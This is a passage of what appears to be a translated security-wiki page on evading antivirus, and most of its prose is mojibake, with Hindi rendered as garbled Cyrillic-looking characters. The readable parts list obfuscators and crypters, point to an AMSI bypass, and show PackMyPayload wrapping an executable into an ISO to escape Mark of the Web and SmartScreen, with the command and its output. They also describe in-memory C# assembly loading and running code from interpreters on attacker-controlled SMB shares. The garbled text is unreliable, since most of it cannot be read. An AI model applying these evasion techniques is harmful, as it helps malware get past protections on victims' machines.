рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

{% hint style="info" %} рдХреГрдкрдпрд╛ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП https://rastamouse.me/memory-patching-amsi-bypass/ рдкрдврд╝реЗрдВред {% endhint %}

AMSI рдХреЛ powershell рдХреЗ рд╕рд╛рде рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрдиреНрдп рддрдХрдиреАрдХреЗрдВ рднреА рд╣реИрдВ, рдЙрдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдФрд░ рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдкрд░ рдЬрд╛рдПрдВред

рдпрд╛ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛ рдореЗрдореЛрд░реА рдкреИрдЪрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдирдП Powersh рдХреЛ рдкреИрдЪ рдХрд░реЗрдЧреАред

Obfuscation

рдХрдИ рдЙрдкрдХрд░рдг рд╣реИрдВ рдЬреЛ C# рд╕реНрдкрд╖реНрдЯ-рдЯреЗрдХреНрд╕реНрдЯ рдХреЛрдб рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ, рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдЯрд╛рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдпрд╛ рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ:

  • InvisibilityCloak: C# рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдЙрдкрдХрд░рдг
  • Obfuscator-LLVM: рдЗрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп LLVM рд╕рдВрдХрд▓рди рд╕реВрдЯ рдХрд╛ рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдлреЛрд░реНрдХ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реИ рдЬреЛ рдХреЛрдб рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдФрд░ рдЯреЗрдореНрдкрд░-рдкреНрд░реВрдлрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛ рд╕рдХреЗред
  • ADVobfuscator: ADVobfuscator рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ C++11/14 рднрд╛рд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╕рдВрдХрд▓рди рдХреЗ рд╕рдордп, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдФрд░ рдмрд┐рдирд╛ рд╕рдВрдХрд▓рдХ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдП, рдЕрд╕реНрдкрд╖реНрдЯ рдХреЛрдб рдХреИрд╕реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рдПред
  • obfy: C++ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдЯрд╛рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдврд╛рдВрдЪреЗ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдЕрд╕реНрдкрд╖реНрдЯ рд╕рдВрдЪрд╛рд▓рди рдХреА рдПрдХ рдкрд░рдд рдЬреЛрдбрд╝реЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЬреАрд╡рди рдХреЛ рдереЛрдбрд╝рд╛ рдХрдард┐рди рдмрдирд╛ рджреЗрдЧреАред
  • Alcatraz: Alcatraz рдПрдХ x64 рдмрд╛рдЗрдирд░реА рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА pe рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬрд┐рд╕рдореЗрдВ: .exe, .dll, .sys рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
  • metame: Metame рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдореЗрдЯрд╛рдореЙрд░реНрдлрд┐рдХ рдХреЛрдб рдЗрдВрдЬрди рд╣реИ рдЬреЛ рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП рд╣реИред
  • ropfuscator: ROPfuscator рдПрдХ рдмрд╛рд░реАрдХ-рдЧреНрд░реЗрди рдХреЛрдб рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдврд╛рдВрдЪрд╛ рд╣реИ рдЬреЛ ROP (рд░рд┐рдЯрд░реНрди-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ LLVM-рд╕рдорд░реНрдерд┐рдд рднрд╛рд╖рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реИред ROPfuscator рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рд╕реНрддрд░ рдкрд░ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ, рд╕рд╛рдорд╛рдиреНрдп рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреА рд╣рдорд╛рд░реА рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рдзрд╛рд░рдгрд╛ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
  • Nimcrypt: Nimcrypt рдПрдХ .NET PE рдХреНрд░рд┐рдкреНрдЯрд░ рд╣реИ рдЬреЛ Nim рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред
  • inceptor: Inceptor рдореМрдЬреВрджрд╛ EXE/DLL рдХреЛ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред

SmartScreen & MoTW

рдЖрдкрдиреЗ рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╕рдордп рдФрд░ рдЙрдиреНрд╣реЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп рдпрд╣ рд╕реНрдХреНрд░реАрди рджреЗрдЦреА рд╣реЛрдЧреАред

Microsoft Defender SmartScreen рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЕрдВрддрд┐рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдмрдЪрд╛рдирд╛ рд╣реИред

SmartScreen рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдПрдХ рдкреНрд░рддрд┐рд╖реНрдард╛-рдЖрдзрд╛рд░рд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЕрд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдЕрдиреБрдкреНрд░рдпреЛрдЧ SmartScreen рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░реЗрдЧреА, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЕрдВрддрд┐рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рджреЗрдЧреА (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрднреА рднреА More Info -> Run anyway рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред

MoTW (Mark of The Web) рдПрдХ NTFS Alternate Data Stream рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо Zone.Identifier рд╣реИ, рдЬреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╕рдордп рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдЙрд╕ URL рдХреЗ рд╕рд╛рде рдЬрд┐рд╕рд╕реЗ рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП Zone.Identifier ADS рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ред

{% hint style="info" %} рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕рд╛рдЗрдирд┐рдВрдЧ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрди рдХреА рдЧрдИ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ SmartScreen рдХреЛ рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд░реЗрдВрдЧреАред {% endhint %}

рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЛ Mark of The Web рд╕реЗ рдмрдЪрд╛рдиреЗ рдХрд╛ рдПрдХ рдмрд╣реБрдд рдкреНрд░рднрд╛рд╡реА рддрд░реАрдХрд╛ рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдХрдВрдЯреЗрдирд░ рдЬреИрд╕реЗ ISO рдХреЗ рдЕрдВрджрд░ рдкреИрдХреЗрдЬ рдХрд░рдирд╛ рд╣реИред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ Mark-of-the-Web (MOTW) non NTFS рд╡реЙрд▓реНрдпреВрдо рдкрд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

PackMyPayload рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдкреЗрд▓реЛрдб рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрдВрдЯреЗрдирд░реЛрдВ рдореЗрдВ рдкреИрдХреЗрдЬ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ Mark-of-the-Web рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред

Example usage:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

C# Assembly Reflection

C# рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░рдирд╛ рдХрд╛рдлреА рд╕рдордп рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдЕрднреА рднреА рдЖрдкрдХреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдЯреВрд▓реНрд╕ рдХреЛ AV рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝реЗ рдЬрд╛рдиреЗ рдХреЗ рдмрд┐рдирд╛ рдЪрд▓рд╛рдиреЗ рдХрд╛ рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИред

рдЪреВрдВрдХрд┐ рдкреЗрд▓реЛрдб рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рд╣реЛрдЧрд╛ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП, рд╣рдореЗрдВ рдкреВрд░реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ AMSI рдХреЛ рдкреИрдЪ рдХрд░рдиреЗ рдХреА рдЪрд┐рдВрддрд╛ рдХрд░рдиреА рд╣реЛрдЧреАред

рдЕрдзрд┐рдХрд╛рдВрд╢ C2 рдлреНрд░реЗрдорд╡рд░реНрдХ (sliver, Covenant, metasploit, CobaltStrike, Havoc, рдЖрджрд┐) рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдореЗрдореЛрд░реА рдореЗрдВ рд╕реАрдзреЗ C# рдЕрд╕реЗрдВрдмрд▓реА рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВ:

  • Fork&Run

рдЗрд╕рдореЗрдВ рдПрдХ рдирдпрд╛ рдмрд▓рд┐рджрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдЙрд╕ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛, рдЕрдкрдиреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдФрд░ рдЬрдм рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдП, рддреЛ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ред рдЗрд╕рдХреЗ рдЕрдкрдиреЗ рд▓рд╛рдн рдФрд░ рд╣рд╛рдирд┐рдпрд╛рдБ рд╣реИрдВред рдлреЛрд░реНрдХ рдФрд░ рд░рди рд╡рд┐рдзрд┐ рдХрд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд╛рд░реЗ рдмреАрдХрди рдЗрдореНрдкреНрд▓рд╛рдВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рд╣рд░ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреБрдЫ рдЧрд▓рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдкрдХрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рдЗрдореНрдкреНрд▓рд╛рдВрдЯ рдХреЗ рдЬреАрд╡рд┐рдд рд░рд╣рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИред рд╣рд╛рдирд┐ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╡реНрдпрд╡рд╣рд╛рд░рд╛рддреНрдордХ рдкрд╣рдЪрд╛рди рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝реЗ рдЬрд╛рдиреЗ рдХреА рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред

  • Inline

рдпрд╣ рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдЕрдкрдиреЗ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИред рдЗрд╕ рддрд░рд╣, рдЖрдк рдПрдХ рдирдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдиреЗ рдФрд░ рдЙрд╕реЗ AV рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдХрд░рд╛рдП рдмрд┐рдирд╛ рдмрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рд╛рдирд┐ рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рдХреБрдЫ рдЧрд▓рдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЗ рдмреАрдХрди рдХреЛ рдЦреЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреНрд░реИрд╢ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

{% hint style="info" %} рдпрджрд┐ рдЖрдк C# рдЕрд╕реЗрдВрдмрд▓реА рд▓реЛрдбрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдХреГрдкрдпрд╛ рдЗрд╕ рд▓реЗрдЦ рдХреЛ рджреЗрдЦреЗрдВ https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ рдФрд░ рдЙрдирдХреЗ InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

рдЖрдк C# рдЕрд╕реЗрдВрдмрд▓реАрдЬрд╝ рдХреЛ PowerShell рд╕реЗ рднреА рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, Invoke-SharpLoader рдФрд░ S3cur3th1sSh1t рдХрд╛ рд╡реАрдбрд┐рдпреЛ рджреЗрдЦреЗрдВред

рдЕрдиреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдЬреИрд╕рд╛ рдХрд┐ https://github.com/deeexcee-io/LOI-Bins рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рдЕрдиреНрдп рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрдм рдЖрдк рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд SMB рд╢реЗрдпрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪ рджреЗрддреЗ рд╣реИрдВред

рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдмрд╛рдЗрдирд░реАрдЬрд╝ рдФрд░ SMB рд╢реЗрдпрд░ рдкрд░ рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ рдЖрдк рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рдЗрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд░реЗрдкреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ: рдбрд┐рдлреЗрдВрдбрд░ рдЕрднреА рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди Go, Java, PHP рдЖрджрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕реНрдерд┐рд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛рдкрди рд╣реИред рдЗрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЕрди-рдСрдмрдлрд╕реНрдХреЗрдЯреЗрдб рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдкрд░реАрдХреНрд╖рдг рд╕рдлрд▓ рд╕рд╛рдмрд┐рдд рд╣реБрдЖ рд╣реИред

рдЙрдиреНрдирдд рдмрдЪрд╛рд╡

рдмрдЪрд╛рд╡ рдПрдХ рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рд╡рд┐рд╖рдп рд╣реИ, рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдПрдХ рд╣реА рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдЯреЗрд▓реАрдореЗрдЯреНрд░реА рд╕реНрд░реЛрддреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкрд░рд┐рдкрдХреНрд╡ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрджреГрд╢реНрдп рд░рд╣рдирд╛ рд▓рдЧрднрдЧ рдЕрд╕рдВрднрд╡ рд╣реИред

рдЖрдк рдЬрд┐рд╕ рднреА рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░реЗрдВрдЧреЗ, рдЙрд╕рдХреЗ рдЕрдкрдиреЗ рддрд╛рдХрдд рдФрд░ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реЛрдВрдЧреАред

рдореИрдВ рдЖрдкрдХреЛ @ATTL4S рд╕реЗ рдЗрд╕ рд╡рд╛рд░реНрддрд╛ рдХреЛ рджреЗрдЦрдиреЗ рдХреА рдЕрддреНрдпрдзрд┐рдХ рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реВрдБ, рддрд╛рдХрд┐ рдЖрдк рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рдмрдЪрд╛рд╡ рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдПрдХ рдкреИрд░ рд░рдЦ рд╕рдХреЗрдВред

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

рдпрд╣ @mariuszbit рд╕реЗ рдмрдЪрд╛рд╡ рдХреА рдЧрд╣рд░рд╛рдИ рдкрд░ рдПрдХ рдФрд░ рд╢рд╛рдирджрд╛рд░ рд╡рд╛рд░реНрддрд╛ рд╣реИред

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

рдкреБрд░рд╛рдиреА рддрдХрдиреАрдХреЗрдВ

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдбрд┐рдлреЗрдВрдбрд░ рдХреМрди рд╕реЗ рднрд╛рдЧреЛрдВ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдорд╛рдирддрд╛ рд╣реИ

